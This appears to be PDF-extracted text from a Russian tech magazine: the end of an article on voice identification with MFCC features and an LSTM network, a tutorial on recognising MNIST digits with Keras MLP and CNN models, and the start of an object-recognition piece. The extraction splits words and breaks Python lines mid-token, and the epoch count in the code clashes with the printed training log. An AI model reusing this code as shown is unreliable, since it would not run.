 audio, _ = lr.load(aname, sr=SR) # Загружаем трек в память

 # Извлекаем коэффициенты
 afs = lr.feature.mfcc(audio, # из нашего звука
                       sr=SR, # с частотой дискретизации 16 кГц
                       n_mfcc=34, # Извлекаем 34 параметра
                       n_fft=2048) # Используем блоки в 125 мс
 # Суммируем все коэффициенты по времени
 # Отбрасываем два первых, так как они не слышны человеку и 

содержат шум
 afss = np.sum(afs[2:], axis=‐1)

 # Нормализуем их
 afss = afss / np.max(np.abs(afss))

 return afss

def confidence(x, y):
 return np.sum((x ‐ y)**2) # Евклидово расстояние
 # Меньше — лучше

# Загружаем несколько аудиодорожек
woman21 = process_audio("woman2.1.wav")
woman22 = process_audio("woman2.2.wav")
woman11 = process_audio("woman1.1.wav")
woman12 = process_audio("woman1.2.wav")

# Сравниваем коэффициенты на близость
print('same', confidence(woman11, woman12))
print('same', confidence(woman21, woman22))
print('diff', confidence(woman11, woman21))
print('diff', confidence(woman11, woman22))
print('diff', confidence(woman12, woman21))
print('diff', confidence(woman12, woman22))

Ре зуль тат:

 

 

same 0.08918786797751492 
same 0.04016324022920391 
diff 0.8353932676024817 
diff 0.5290006939899561 
diff 0.5996234966734799 
diff 0.9143384850090941

Иден тифика ция работа ет  пра виль но. Но мы можем  улуч шить наш алго ритм,
добавив филь тр тишины и пауз меж ду сло вами и пред ложени ями.

def filter_audio(audio):
 # Считаем энергию голоса для каждого блока в 125 мс
 apower = lr.amplitude_to_db(np.abs(lr.stft(audio, n_fft=2048)), ref

=np.max)

 # Суммируем энергию по каждой частоте, нормализуем
 apsums = np.sum(apower, axis=0)**2
 apsums ‐= np.min(apsums)
 apsums /= np.max(apsums)

 # Сглаживаем график, чтобы сохранить короткие пропуски и паузы, 
убрать резкость
 apsums = np.convolve(apsums, np.ones((9,)), 'same')
 # Нормализуем снова
 apsums ‐= np.min(apsums)
 apsums /= np.max(apsums)

 # Устанавливаем порог в 35% шума над голосом
 apsums = np.array(apsums > 0.35, dtype=bool)

 # Удлиняем блоки каждый по 125 мс
 # до отдельных семплов (2048 в блоке)
 apsums = np.repeat(apsums, np.ceil(len(audio) / len(apsums)))[:len(

audio)]

 return audio[apsums] # Фильтруем!

Про тес тиру ем новую прог рамму.

 

 

same 0.07287868313339689 
same 0.07599075249316399 
diff 1.1107063027198296 
diff 0.9556985491806391 
diff 0.9212706723328299 
diff 1.019240307344966

Мы пос читали зна чения раз личных приз наков.

Эти  гра фики показы вают,  как  наша прог рамма срав нива ет  зна чения раз ных
приз наков. Крас ным и зеленым цве тами обоз начены коэф фици енты, которые
были получе ны из голосов двух жен щин: по две записи на каж дую. Линии оди‐ 
нако вого  цве та  находят ся  близ ко  друг  к  дру гу  —  голос  одно го  и  того  же
челове ка. Линии раз ных цве тов рас положе ны даль ше друг от дру га, пос коль ку
это голоса раз ных людей.

Те перь срав ним муж ской и жен ский голоса.

 

 

same 0.07287868313339689 
same 0.1312549383658766 
diff 1.4336642787341562 
diff 1.5398833283440216 
diff 1.9443562070029585 
diff 1.6660100959317368

Гра фики коэф фици ентов для муж чины и жен щины

Здесь  раз личия  более  выраже ны,  это  вид но  и  на  гра фике.  Голос  муж чины
более низ кий: пики боль ше в начале гра фика и мень ше в кон це.

Этот алго ритм дей стви тель но работа ет, и работа ет  хорошо. Глав ный его
недос таток  —  зависи мость  точ ности  резуль тата  от  шумов  и  дли тель нос ти
записи. Если запись короче десяти секунд, точ ность стре митель но убы вает.

ИДЕНТИФИКАЦИЯ ГОЛОСА С ПОМОЩЬЮ НЕЙРОННЫХ СЕТЕЙ
Мы  можем  улуч шить  наш  алго ритм  с  помощью  ней рон ных  сетей,  которые
на таких задачах показы вают неверо ятную эффектив ность. Исполь зуем биб‐ 
лиоте ку   для соз дания модели ней рон ной сети.Keras

import librosa as lr
import numpy as np

from keras.layers import Dense, LSTM, Activation
from keras.models import Sequential
from keras.optimizers import Adam

SR = 16000 # Частота дискретизации
LENGTH = 16 # Количество блоков за один проход нейронной сети
OVERLAP = 8 # Шаг в количестве блоков между обучающими семплами
FFT = 1024 # Длина блока (64 мс)

def prepare_audio(aname, target=False):
 # Загружаем и подготавливаем данные
 print('loading %s' % aname)
 audio, _ = lr.load(aname, sr=SR)
 audio = filter_audio(audio) # Убираем тишину и пробелы между 

словами
 data = lr.stft(audio, n_fft=FFT).swapaxes(0, 1) # Извлекаем 

спектрограмму
 samples = []

 for i in range(0, len(data) ‐ LENGTH, OVERLAP):
   samples.append(np.abs(data[i:i + LENGTH])) # Создаем обучающую 
выборку

 results_shape = (len(samples), 1)
 results = np.ones(results_shape) if target else np.zeros(result

s_shape)
 return np.array(samples), results

# Список всех записей
voices = [("woman2.wav", True),
         ("woman2.1.wav", True),
         ("woman2.2.wav", True),
         ("woman2.3.wav", True),
         ("woman1.wav", False),
         ("woman1.1.wav", False),
         ("woman1.2.wav", False),
         ("woman1.3.wav", False),
         ("man1.1.wav", False),
         ("man1.2.wav", False),
         ("man1.3.wav", False)]

# Объединяем обучающие выборки
X, Y = prepare_audio(*voices[0])
for voice in voices[1:]:
 dx, dy = prepare_audio(*voice)
 X = np.concatenate((X, dx), axis=0)
 Y = np.concatenate((Y, dy), axis=0)
 del dx, dy

# Случайным образом перемешиваем все блоки
perm = np.random.permutation(len(X))
X = X[perm]
Y = Y[perm]

# Создаем модель
model = Sequential()
model.add(LSTM(128, return_sequences=True, input_shape=X.shape[1:]))
model.add(LSTM(64))
model.add(Dense(64))
model.add(Activation('tanh'))
model.add(Dense(16))
model.add(Activation('sigmoid'))
model.add(Dense(1))
model.add(Activation('hard_sigmoid'))

# Компилируем и обучаем модель
model.compile(Adam(lr=0.005), loss='binary_crossentropy', metrics=[
'accuracy'])
model.fit(X, Y, epochs=15, batch_size=32, validation_split=0.2)

# Тестируем полученную в итоге модель
print(model.evaluate(X, Y))
# Сохраняем модель для дальнейшего использования
model.save('model.hdf5')

В  этой  модели  исполь зует ся  два  слоя  дол гой  крат косроч ной  памяти  (Long
Short‐Term  Memory),  которые  поз воля ют  ней рон ной  сети  ана лизи ровать
не  толь ко сам  голос,  его  высоту и  силу,  но и его динами чес кие парамет ры,
нап ример перехо ды меж ду зву ками голоса.

Тес тирова ние метода
Да вай обу чим модель и пос мотрим на ее резуль таты.

 

 

Epoch 1/20 

 
 

Epoch 20/20 

 

5177/5177 [====================] ‐ loss: 0.4099 ‐ acc: 0.8134 ‐ 
val_loss: 0.2545 ‐ val_acc: 0.8973
...

5177/5177 [====================] ‐ loss: 0.0360 ‐ acc: 0.9944 ‐ 
val_loss: 0.2077 ‐ val_acc: 0.9807
[0.18412712604838924, 0.9819283065512979]

От лично!  98%  точ ности  —  хороший  резуль тат.  Пос мотрим  ста тис тику  точ‐ 
ности по каж дому отдель ному челове ку.

 

 

woman1: 98.4% 
woman2: 99.0% ‐ цель 
man1:   98.4%

Ней рон ная  сеть  справ ляет ся  прек расно,  пре одо левая  боль шинс тво  помех:
шумы  и  огра ниче ния  по  дли не  записи  (ней рон ная  сеть  ана лизи рует  все го
по  одной  секун де  записи  за  раз).  Такой  спо соб  иден тифика ции  челове ка
наибо лее пер спек тивен и эффекти вен.

ВЫВОДЫ
Тех нологии  рас позна вания  челове ка  по  его  голосу  находят ся  толь ко  лишь
на ста дии науч ных иссле дова ний и раз работок, и поэто му в откры том дос тупе
хороших и популяр ных решений нет. Одна ко в  ком мерчес ком сек торе  такие
прог рам мные  про дук ты  уже  рас простра няют ся,  чем  облегча ют  работу  сот‐ 
рудни ков  кол‐цен тров,  раз работ чиков  умных  домов.  Теперь  и  ты  можешь
исполь зовать этот при ем на работе или для сво их про ектов.

mailto:kireevmp@yandex.ru
https://ru.wikipedia.org/wiki/%D0%93%D0%B0%D1%80%D0%BC%D0%BE%D0%BD%D0%B8%D0%BA%D0%B0_(%D0%BC%D1%83%D0%B7%D1%8B%D0%BA%D0%B0)
https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B5%D0%BE%D0%B1%D1%80%D0%B0%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%A4%D1%83%D1%80%D1%8C%D0%B5
https://www1.icsi.berkeley.edu/~steveng/PDF/Temporal_Properties.pdf
https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%BB_(%D0%B2%D1%8B%D1%81%D0%BE%D1%82%D0%B0_%D0%B7%D0%B2%D1%83%D0%BA%D0%B0)
https://www.youtube.com/channel/UCAuUUnT6oDeKwE6v1NGQxug
https://ytdl-org.github.io/youtube-dl/index.html
https://keras.io/
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Рань ше  кап ча  с  чис лами  была  отличным
спо собом  отсе ять  ботов,  а  сей час  такая
раз новид ность  уже  поч ти  не  встре чает ся.
Думаю,  ты  и  сам  догады ваешь ся,  в  чем
дело:  ней росети  научи лись  рас позна вать
такие  кап чи  луч ше  нас.  В  этой  статье  мы
пос мотрим,  как  работа ет  ней рон ная  сеть
и  как исполь зовать Keras и Tensorflow,  что‐ 
бы реали зовать рас позна вание цифр.

Для каж дого при мера я при веду код на Python 3.7. Ты можешь запус тить его
и пос мотреть, как все это работа ет. Для запус ка при меров пот ребу ется биб‐ 
лиоте ка  Tensorflow.  Уста новить  ее  мож но  коман дой 

, если виде окар та под держи вает CUDA, в про тив ном слу чае исполь‐ 
зуй коман ду  . Вычис ления с CUDA в нес коль ко раз
быс трее,  так  что,  если  твоя  виде окар та  их  под держи вает,  это  сэконо мит
немало вре мени. И не забудь уста новить наборы дан ных для обу чения сети
коман дой  .

pip  install  tensor‐
flow‐gpu

pip install tensorflow

pip install tensorflow‐datasets

INFO

Все при веден ные в этой статье при меры работа‐ 
ют пол ностью авто ном но. Это важ но, потому что
сущес тву ют  раз личные  онлайн‐сер висы  AI,  нап‐ 
ример  ком пании  Amazon,  которые  берут  опла ту
за каж дый зап рос. Соз дав и обу чив собс твен ную
ней рон ную  сеть  с  помощью  Python  и  Tensorflow,
ты  смо жешь  исполь зовать  ее  неог раничен но
и незави симо от какого‐либо про вай дера.

КАК РАБОТАЕТ НЕЙРОННАЯ СЕТЬ
Как работа ет один ней рон? Сиг налы со вхо дов  (1) сум миру ются  (2), при чем
каж дый  вход  име ет  свой  «коэф фици ент  переда чи»  —  .  Затем  к  получив‐ 
шемуся резуль тату при меня ется «фун кция акти вации» (3).

w

Мо дель ней рона

Ти пы этой фун кции раз личны, она может быть:
пря моуголь ной (на выходе 0 или 1);•
ли ней ной;•
в виде сиг моиды.•

Еще в 1943 году Мак‐Кал лок и Питтс  ,  что сеть из ней ронов может
выпол нять  раз личные опе рации. Но  сна чала  эту  сеть  нуж но  обу чить — нас‐ 
тро ить коэф фици енты   каж дого ней рона так, что бы сиг нал переда вал ся нуж‐ 
ным нам спо собом. Зап рограм мировать ней рон ную сеть и обу чить ее с нуля
слож но, но,  к счастью для нас, все необ ходимые биб лиоте ки уже написа ны.
Бла года ря  ком пак тнос ти  язы ка  Python  все  дей ствия  мож но  зап рограм‐ 
мировать в нес коль ко строк кода.

до каза ли

w

Рас смот рим прос тей шую ней росеть и научим ее выпол нять фун кцию  .
Разуме ется,  вычис ление  XOR  с  помощью  ней рон ной  сети  не  име ет  прак‐ 
тичес кого  смыс ла.  Но  имен но  оно  поможет  нам  понять  базовые  прин ципы
обу чения  и  исполь зования  ней росети  и  поз волит  по  шагам  прос ледить  ее
работу. С сетями боль шей раз мернос ти это было бы слиш ком слож но и гро‐ 
моз дко.

XOR

ПРОСТЕЙШАЯ НЕЙРОННАЯ СЕТЬ
Сна чала  нуж но  под клю чить  необ ходимые  биб лиоте ки,  в  нашем  слу чае
это  .  Я  так же  отклю чаю  вывод  отла доч ных  сооб щений  и  работу
с  GPU,  они  нам  не  при годят ся.  Для  работы  с  мас сивами  нам  понадо бит ся
биб лиоте ка  .

tensorflow

numpy

import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
os.environ["CUDA_VISIBLE_DEVICES"] = "‐1"

from tensorflow import keras
from tensorflow.keras import layers
from tensorflow.keras import Sequential
from tensorflow.keras.layers import Conv2D, MaxPooling2D, Flatten, 
Dense, Dropout, Activation, BatchNormalization, AveragePooling2D
from tensorflow.keras.optimizers import SGD, RMSprop, Adam
import tensorflow_datasets as tfds  # pip install tensorflow‐datasets
import tensorflow as tf
import logging
import numpy as np

tf.logging.set_verbosity(tf.logging.ERROR)
tf.get_logger().setLevel(logging.ERROR)

Те перь  мы  готовы  соз дать  ней росеть.  Бла года ря  Tensorflow  на  это  понадо‐ 
бит ся все го лишь четыре строч ки кода.

model = Sequential()
model.add(Dense(2, input_dim=2, activation='relu'))
model.add(Dense(1, activation='sigmoid'))
model.compile(loss='binary_crossentropy', optimizer=SGD(lr=0.1))

Мы соз дали модель ней рон ной сети — класс   — и добави ли в нее
два  слоя:  вход ной  и  выход ной.  Такая  сеть  называ ется  «мно гос лой ный  пер‐ 
цеп трон» (multilayer perceptron), в общем виде она выг лядит так.

Sequential

Сеть multilayer perceptron

В нашем слу чае сеть име ет два вхо да (внеш ний слой), два ней рона во внут‐ 
реннем слое и один выход.

Мож но пос мотреть, что у нас получи лось:

print(model.summary())

Па рамет ры сети

Обу чение ней росети сос тоит в нахож дении зна чений парамет ров этой сети. 
На ша  сеть  име ет  девять  парамет ров.  Что бы  обу чить  ее,  нам  понадо бит ся
исходный набор дан ных, в нашем слу чае это резуль таты работы фун кции  .XOR

X = np.array([[0,0], [0,1], [1,0], [1,1]])
y = np.array([[0], [1], [1], [0]])
model.fit(X, y, batch_size=1, epochs=1000, verbose=0)

Фун кция   запус кает алго ритм обу чения, которое у нас будет выпол нять ся
тысячу  раз,  на  каж дой  ите рации  парамет ры  сети  будут  кор ректи ровать ся.
Наша  сеть  неболь шая,  так  что  обу чение  прой дет  быс тро.  Пос ле  обу чения
сетью уже мож но поль зовать ся:

fit

print("Network test:")
print("XOR(0,0):", model.predict_proba(np.array([[0, 0]])))
print("XOR(0,1):", model.predict_proba(np.array([[0, 1]])))
print("XOR(1,0):", model.predict_proba(np.array([[1, 0]])))
print("XOR(1,1):", model.predict_proba(np.array([[1, 1]])))

Ре зуль тат соот ветс тву ет тому, чему сеть обу чалась.

 

 

Network test: 
XOR(0,0): [[0.00741202]] 
XOR(0,1): [[0.99845064]] 
XOR(1,0): [[0.9984376]] 
XOR(1,1): [[0.00741202]]

Мы можем вывес ти все зна чения най ден ных коэф фици ентов на экран.

# Parameters layer 1
W1 = model.get_weights()[0]
b1 = model.get_weights()[1]
# Parameters layer 2
W2 = model.get_weights()[2]
b2 = model.get_weights()[3]

print("W1:", W1)
print("b1:", b1)
print("W2:", W2)
print("b2:", b2)
print()

Ре зуль тат:

 

 

W1: [[ 2.8668058 ‐2.904025 ] [‐2.871452 2.9036295]] 
b1: [‐0.00128211 ‐0.00191825]  
W2: [[3.9633768] [3.9168582]] 
b2: [‐4.897212]

Внут ренняя  реали зация  фун кции    выг лядит  при мер но
так:

model.predict_proba

x_in = [0, 1]
# Input
X1 = np.array([x_in], "float32")
# First layer calculation
L1 = np.dot(X1, W1) + b1
# Relu activation function: y = max(0, x)
X2 = np.maximum(L1, 0)
# Second layer calculation
L2 = np.dot(X2, W2) + b2
# Sigmoid
output = 1 / (1 + np.exp(‐L2))

Рас смот рим ситу ацию, ког да на вход сети подали зна чения [0,1]:

 

 

L1 = X1*W1 + b1 = [0*2.8668058 + 1*‐2.871452 + ‐0.0012821, 0*‐2.904025 + 
1*2.9036295 +  ‐0.00191825] = [‐2.8727343 2.9017112]

Фун кция  акти вации    (rectified  linear  unit)  —  это  прос то  замена  отри‐ 
цатель ных эле мен тов нулем.

ReLu

X2 = np.maximum(L1, 0) = [0.  2.9017112]

Те перь най ден ные зна чения попада ют на вто рой слой.

 

 

L2 = X2*W2 + b2 = 0*3.9633768 +2.9017112*3.9633768 + ‐4.897212 = 
6.468379

На конец,  в  качес тве  выхода  исполь зует ся  фун кция  ,  которая  при‐ 
водит зна чения к диапа зону 0...1:

Sigmoid

output = 1 / (1 + np.exp(‐L2)) = 0.99845064

Мы совер шили обыч ные опе рации умно жения и сло жения мат риц и получи ли
ответ:  .XOR(0,1) = 1

С  этим  при мером  на  Python  советую  поэк спе римен тировать  самос‐ 
тоятель но.  Нап ример,  ты  можешь  менять  чис ло  ней ронов  во  внут реннем
слое. Два  ней рона,  как  в  нашем слу чае, — это  самый минимум,  что бы сеть
работа ла.

Но  алго ритм  обу чения,  который  исполь зует ся  в  Keras,  не  иде ален:  ней‐ 
росети не всег да уда ется обу чить ся за 1000 ите раций, и резуль таты не всег‐ 
да  вер ны.  Так,  Keras  ини циали зиру ет  началь ные  зна чения  слу чай ными
величи нами,  и  при  каж дом  запус ке  резуль тат  может  отли чать ся.  Моя  сеть
с  дву мя  ней ронами  успешно  обу чалась  лишь  в  20%  слу чаев.  Неп равиль ная
работа сети выг лядит при мер но так:

 

 

XOR(0,0): [[0.66549516]] 
XOR(0,1): [[0.66549516]] 
XOR(1,0): [[0.66549516]] 
XOR(1,1): [[0.00174837]]

Но  это  не  страш но.  Если  видишь,  что  ней рон ная  сеть  во  вре мя  обу чения
не  выда ет  пра виль ных  резуль татов,  алго ритм  обу чения  мож но  запус тить
еще  раз.  Пра виль но  обу чен ную  сеть  потом  мож но  исполь зовать  без  огра‐ 
ниче ний.

Мож но сде лать сеть поум нее: исполь зовать четыре ней рона вмес то двух,
для  это го  дос таточ но  заменить  строч ку  кода 

  на 
.  Такая  сеть  обу чает ся  уже  в  60%  слу чаев,  а  сеть

из шес ти ней ронов обу чает ся с пер вого раза с веро ятностью 90%.

model.add(Dense(2,  in‐
put_dim=2,  activation='relu')) model.add(Dense(4,  input_dim=2, 
activation='relu'))

Все парамет ры ней рон ной сети пол ностью опре деля ются коэф фици ента‐ 
ми. Обу чив сеть, мож но  записать парамет ры сети на диск,  а  потом исполь‐ 
зовать уже готовую обу чен ную сеть. Этим мы будем активно поль зовать ся.

Продолжение статьи →
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МАШИННОЕ ЗРЕНИЕ

НА PYTHON
ОБУЧАЕМ НЕЙРОСЕТЬ РАСПОЗНАВАТЬ

ЦИФРЫ

COVERSTORY  НАЧАЛО СТАТЬИ←

РАСПОЗНАВАНИЕ ЦИФР — СЕТЬ MLP
Рас смот рим  прак тичес кую  задачу,  впол не  клас сичес кую  для  ней рон ных
сетей,  —  рас позна вание  цифр.  Для  это го  мы  возь мем  уже  извес тную  нам
сеть multilayer perceptron, ту же самую, что мы исполь зовали для фун кции  .
В  качес тве вход ных дан ных будут выс тупать изоб ражения 28 × 28 пик селей.
Такой  раз мер  выб ран  потому,  что  сущес тву ет  уже  готовая  база  рукопис ных
цифр  , которая хра нит ся имен но в таком фор мате.

XOR

MNIST
Для  удобс тва  разобь ем  код  на  нес коль ко  фун кций.  Пер вая  часть  —

это соз дание модели.

def mnist_make_model(image_w: int, image_h: int):
  # Neural network model
  model = Sequential()
  model.add(Dense(784, activation='relu', input_shape=(image_w*
image_h,)))
  model.add(Dense(10, activation='softmax'))
  model.compile(loss='categorical_crossentropy', optimizer=RMSprop()
, metrics=['accuracy'])
  return model

На вход сети будет подавать ся   зна чений — в нашем слу чае
это  28  ×  28  =  784.  Количес тво  ней ронов  внут ренне го  слоя  такое  же  и  рав‐ 
но 784.

image_w*image_h

С  рас позна вани ем  цифр  есть  одна  осо бен ность.  Как  мы  видели  в  пре‐ 
дыду щем при мере,  выход ней росети может  лежать  в диапа зоне 0…1,  а  нам
нуж но рас позна вать циф ры от 0 до 9. Как быть? Что бы рас позна вать циф ры,
мы соз даем сеть с десятью выхода ми, и еди ница будет на выходе, соот ветс‐ 
тву ющем нуж ной циф ре.

Сеть для рас позна вания цифр

Струк тура отдель ного ней рона нас толь ко прос та, что для его исполь зования
даже  не  обя зате лен  компь ютер.  Недав но  уче ные  смог ли  реали зовать 

, ана логич ную нашей, в виде кус ка стек ла — такая сеть не тре бует
питания и вооб ще не содер жит внут ри ни одно го элек трон ного ком понен та.

ней‐ 
рон ную сеть

«Ана лого вая» ней росеть

Ког да ней рон ная сеть соз дана, ее надо обу чить. Для начала необ ходимо заг‐ 
рузить датасет MNIST и пре обра зовать дан ные в нуж ный фор мат.

У нас есть два бло ка дан ных:   и   — один слу жит для обу чения,
вто рой  для  верифи кации  резуль татов.  Это  общепри нятая  прак тика,  обу чать
и тес тировать ней рон ную сеть желатель но на раз ных наборах дан ных.

train test

def mnist_mlp_train(model):
  (x_train, y_train), (x_test, y_test) = keras.datasets.mnist.load_d
ata()
  # x_train: 60000x28x28 array, x_test: 10000x28x28 array
  image_size = x_train.shape[1]
  train_data = x_train.reshape(x_train.shape[0], image_size*image_
size)
  test_data = x_test.reshape(x_test.shape[0], image_size*image_size)
  train_data = train_data.astype('float32')
  test_data = test_data.astype('float32')
  train_data /= 255.0
  test_data /= 255.0

  # encode the labels ‐ we have 10 output classes
  # 3 ‐> [0 0 0 1 0 0 0 0 0 0], 5 ‐> [0 0 0 0 0 1 0 0 0 0]
  num_classes = 10
  train_labels_cat = keras.utils.to_categorical(y_train, num_classes
)
  test_labels_cat = keras.utils.to_categorical(y_test, num_classes)

  print("Training the network...")
  t_start = time.time()

  # Start training the network
  model.fit(train_data, train_labels_cat, epochs=8, batch_size=64, 
verbose=1, validation_data=(test_data, test_labels_cat))

Го товый код обу чения сети:

model = mnist_make_model(image_w=28, image_h=28)
mnist_mlp_train(model)
model.save('mlp_digits_28x28.h5')

Соз даем модель, обу чаем ее и записы ваем резуль тат в файл.

Обу чение сети

На моем компь юте ре c Core i7 и виде окар той GeForce 1060 про цесс занима‐ 
ет 18 секунд и 50 секунд с рас четами без GPU — поч ти втрое доль ше. Так что,
если ты захочешь экспе римен тировать с ней рон ными сетями, хорошая виде‐ 
окар та весь ма желатель на.

Те перь  напишем  фун кцию  рас позна вания  кар тинки  из  фай ла  —  то,
для  чего  эта  сеть  и  соз давалась.  Для  рас позна вания  мы  дол жны  при вес ти
кар тинку  к  такому  же  фор мату —  чер но‐белое  изоб ражение  28  на  28  пик‐ 
селей.

def mlp_digits_predict(model, image_file):
  image_size = 28
  img = keras.preprocessing.image.load_img(image_file, target_size=(
image_size, image_size), color_mode='grayscale')
  img_arr = np.expand_dims(img, axis=0)
  img_arr = 1 ‐ img_arr/255.0
  img_arr = img_arr.reshape((1, image_size*image_size))

  result = model.predict_classes([img_arr])
  return result[0]

Те перь исполь зовать ней рон ную сеть доволь но прос то. Я соз дал в Paint пять
изоб ражений с раз ными циф рами и запус тил код.

model = tf.keras.models.load_model('mlp_digits_28x28.h5')
print(mlp_digits_predict(model, 'digit_0.png'))
print(mlp_digits_predict(model, 'digit_1.png'))
print(mlp_digits_predict(model, 'digit_3.png'))
print(mlp_digits_predict(model, 'digit_8.png'))
print(mlp_digits_predict(model, 'digit_9.png'))

При меры цифр

Ре зуль тат,  увы,  неидеален: 0,  1,  3,  6 и 6. Ней росеть  успешно рас позна ла 0,
1 и 3, но спу тала 8 и 9 с циф рой 6. Разуме ется, мож но изме нить чис ло ней‐ 
ронов, чис ло ите раций обу чения. К тому же эти циф ры не были рукопис ными,
так что стоп роцен тный резуль тат нам ник то не обе щал.

Вот  такая  ней рон ная  сеть  с  допол нитель ным  сло ем  и  боль шим  чис лом
ней ронов кор рек тно рас позна ет циф ру восемь, но все рав но пута ет   и  .8 9

def mnist_make_model2(image_w: int, image_h: int):
  # Neural network model
  model = Sequential()
  model.add(Dense(1024, activation='relu', input_shape=(image_w*
image_h,)))
  model.add(Dropout(0.2))  # rate 0.2 ‐ set 20% of inputs to zero
  model.add(Dense(1024, activation='relu'))
  model.add(Dropout(0.2))
  model.add(Dense(10, activation='softmax'))
  model.compile(loss='categorical_crossentropy', optimizer=RMSprop()
,
           metrics=['accuracy'])
  return model

При  желании  мож но  обу чать  ней рон ную  сеть  и  на  сво ем  наборе  дан ных,
но  для  это го  дан ных  нуж но  доволь но  мно го  (MNIST  содер жит  60  тысяч
образцов  цифр).  Жела ющие  могут  поэк спе римен тировать  самос тоятель но,
а  мы  пой дем  даль ше  и  рас смот рим    (CNN,  Convolutional
Neural Network), более эффектив ные для рас позна вания изоб ражений.

свер точные  сети

РАСПОЗНАВАНИЕ ЦИФР — СВЕРТОЧНАЯ СЕТЬ (CNN)
В пре дыду щем при мере мы исполь зовали изоб ражение 28 × 28 как прос той
одно мер ный  мас сив  из  784  цифр.  Такой  под ход,  в  прин ципе,  работа ет,
но начина ет давать сбои, если изоб ражение, нап ример, сдви нуто. Дос таточ‐ 
но в пре дыду щем при мере сдви нуть циф ру в угол кар тинки, и прог рамма уже
не рас позна ет ее.

Свер точные  сети  в  этом  пла не  гораз до  эффектив нее —  они  исполь зуют
прин цип  свер тки,  по  которо му  так  называ емое  ядро  (kernel)  переме щает ся
вдоль  изоб ражения  и  выделя ет  клю чевые  эффекты  на  кар тинке,  если  они
есть.  Затем  получен ный  резуль тат  сооб щает ся  «обыч ной»  ней рон ной  сети,
которая и выда ет готовый резуль тат.

def mnist_cnn_model():
  image_size = 28
  num_channels = 1  # 1 for grayscale images
  num_classes = 10  # Number of outputs
  model = Sequential()
  model.add(Conv2D(filters=32, kernel_size=(3,3), activation='relu',
           padding='same', 
input_shape=(image_size, image_size, num_channels)))
  model.add(MaxPooling2D(pool_size=(2, 2)))
  model.add(Conv2D(filters=64, kernel_size=(3, 3), activation='relu'
,
           padding='same'))
  model.add(MaxPooling2D(pool_size=(2, 2)))
  model.add(Conv2D(filters=64, kernel_size=(3, 3), activation='relu'
,
           padding='same'))
  model.add(MaxPooling2D(pool_size=(2, 2)))
  model.add(Flatten())
  # Densely connected layers
  model.add(Dense(128, activation='relu'))
  # Output layer
  model.add(Dense(num_classes, activation='softmax'))
  model.compile(optimizer=Adam(), loss='categorical_crossentropy',
           metrics=['accuracy'])
  return model

Слой   отве чает за свер тку вход ного изоб ражения с ядром 3 × 3, а слой
  выпол няет  downsampling  —  умень шение  раз мера  изоб‐ 

ражения. На выходе сети мы видим уже зна комый нам слой  ,  который
мы исполь зовали ранее.

Conv2D
MaxPooling2D

Dense

Как и в пре дыду щем слу чае, сеть вна чале надо обу чить, и прин цип здесь
тот  же  самый,  за  тем  исклю чени ем,  что  мы  работа ем  с  дву мер ными  изоб‐ 
ражени ями.

def mnist_cnn_train(model):
  (train_digits, train_labels), (test_digits, test_labels) = keras.
datasets.mnist.load_data()

  # Get image size
  image_size = 28
  num_channels = 1  # 1 for grayscale images

  # re‐shape and re‐scale the images data
  train_data = np.reshape(train_digits, (train_digits.shape[0], 
image_size, image_size, num_channels))
  train_data = train_data.astype('float32') / 255.0
  # encode the labels ‐ we have 10 output classes
  # 3 ‐> [0 0 0 1 0 0 0 0 0 0], 5 ‐> [0 0 0 0 0 1 0 0 0 0]
  num_classes = 10
  train_labels_cat = keras.utils.to_categorical(train_labels, num_cl
asses)

  # re‐shape and re‐scale the images validation data
  val_data = np.reshape(test_digits, (test_digits.shape[0], image_
size, image_size, num_channels))
  val_data = val_data.astype('float32') / 255.0
  # encode the labels ‐ we have 10 output classes
  val_labels_cat = keras.utils.to_categorical(test_labels, num_cl
asses)

  print("Training the network...")
  t_start = time.time()

  # Start training the network
  model.fit(train_data, train_labels_cat, epochs=8, batch_size=64,
       validation_data=(val_data, val_labels_cat))

  print("Done, dT:", time.time() ‐ t_start)

  return model

Все готово. Мы соз даем модель, обу чаем ее и записы ваем модель в файл:

model = mnist_cnn_model()
mnist_cnn_train(model)
model.save('cnn_digits_28x28.h5')

Обу чение  ней рон ной  сети  с  той  же  базой MNIST  из  60  тысяч  изоб ражений
занима ет  46  секунд  с  исполь зовани ем  Nvidia  CUDA  и  око ло  пяти  минут
без нее.

Те перь  мы  можем  исполь зовать  ней росеть  для  рас позна вания  изоб‐ 
ражений:

def cnn_digits_predict(model, image_file):
  image_size = 28
  img = keras.preprocessing.image.load_img(image_file, 
target_size=(image_size, image_size), color_mode='grayscale')
  img_arr = np.expand_dims(img, axis=0)
  img_arr = 1 ‐ img_arr/255.0
  img_arr = img_arr.reshape((1, 28, 28, 1))

  result = model.predict_classes([img_arr])
  return result[0]

model = tf.keras.models.load_model('cnn_digits_28x28.h5')
print(cnn_digits_predict(model, 'digit_0.png'))
print(cnn_digits_predict(model, 'digit_1.png'))
print(cnn_digits_predict(model, 'digit_3.png'))
print(cnn_digits_predict(model, 'digit_8.png'))
print(cnn_digits_predict(model, 'digit_9.png'))

Ре зуль тат гораз до точ нее, что и сле дова ло ожи дать:  .[0, 1, 3, 8, 9]
Все готово! Теперь у тебя есть прог рамма, уме ющая рас позна вать циф ры.

Бла года ря  Python  работать  код  будет  где  угод но —  на  опе раци онных  сис‐ 
темах Windows и Linux. При желании можешь запус тить его даже на Raspberry
Pi.

Ты  навер няка  хочешь  знать,  мож но  ли  рас позна вать  бук вы  ана логич ным
спо собом? Да, при дет ся  толь ко  уве личить чис ло выходов сети и най ти под‐ 
ходящий набор кар тинок для обу чения.

На деюсь,  у  тебя  дос таточ но  информа ции  для  экспе римен тов.  К  тому  же
с реаль ным при мером перед гла зами раз бирать ся зна читель но про ще!

https://ru.wikipedia.org/wiki/MNIST_(%D0%B1%D0%B0%D0%B7%D0%B0_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85)
https://habr.com/ru/post/460353/
https://ru.wikipedia.org/wiki/%D0%A1%D0%B2%D1%91%D1%80%D1%82%D0%BE%D1%87%D0%BD%D0%B0%D1%8F_%D0%BD%D0%B5%D0%B9%D1%80%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D0%B5%D1%82%D1%8C
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Ты навер няка слы шал, что ней росети в пос‐ 
леднее  вре мя  ста ли  чер тов ски  хорошо
справ лять ся  с  рас позна вани ем  объ ектов
на кар тинках. Наша же задача — научить ся
